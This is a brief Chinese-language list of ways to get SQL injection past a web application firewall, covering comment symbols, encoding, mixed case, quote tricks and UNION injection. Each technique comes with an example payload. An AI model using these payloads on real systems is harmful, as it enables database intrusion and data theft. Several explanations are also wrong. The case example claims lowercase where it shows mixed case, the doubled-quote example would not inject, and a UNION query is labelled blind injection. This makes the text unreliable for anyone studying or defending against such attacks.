1.注释符号绕过:有些攻击者可以使用SQL注释符号(例如--、/**/、#)来绕过WAF的检测。这些符号可以用来隐藏恶意SQL代码,使其不会被WAF识别或过滤。
例如:SELECT * FROM users WHERE username = 'admin'-- -,该查询中使用了"-- -"来注释掉后面的SQL代码,从而绕过WAF的检测。
2.编码绕过:攻击者可以使用不同的字符编码来绕过WAF的检测。例如,使用URL编码、Unicode编码等方式来隐藏恶意SQL代码。
例如:SELECT * FROM users WHERE username = '%61%64%6D%69%6E',该查询中的"%61%64%6D%69%6E"是"admin"的URL编码形式,从而绕过WAF的检测。
3.大小写绕过:攻击者利用数据库系统对大小写不敏感的特性,将关键字"select"写成"SeLeCt",成功绕过了基于大小写的过滤器。
例如:SeLeCt * FrOm users Where UsErname = 'admin',该查询中关键字"select"和"From"被改写成了小写形式,从而绕过WAF的检测。
4.特殊字符绕过:攻击者使用引号来构造恶意SQL代码,成功绕过了WAF的检测。
例如:SELECT * FROM users WHERE username = 'admin'' OR '1'='1,该查询中的"'OR '1'='1"被用来绕过WAF的检测,使得查询可以正常执行。
5.逻辑漏洞绕过:攻击者利用应用程序或数据库的逻辑漏洞,使用盲注技术成功绕过了WAF的检测。
例如:SELECT * FROM users WHERE username = 'admin' AND password = 'password' UNION SELECT 1,2,3#,该查询中的"UNION SELECT 1,2,3#"被用来绕过WAF的检测,使得查询可以正常执行。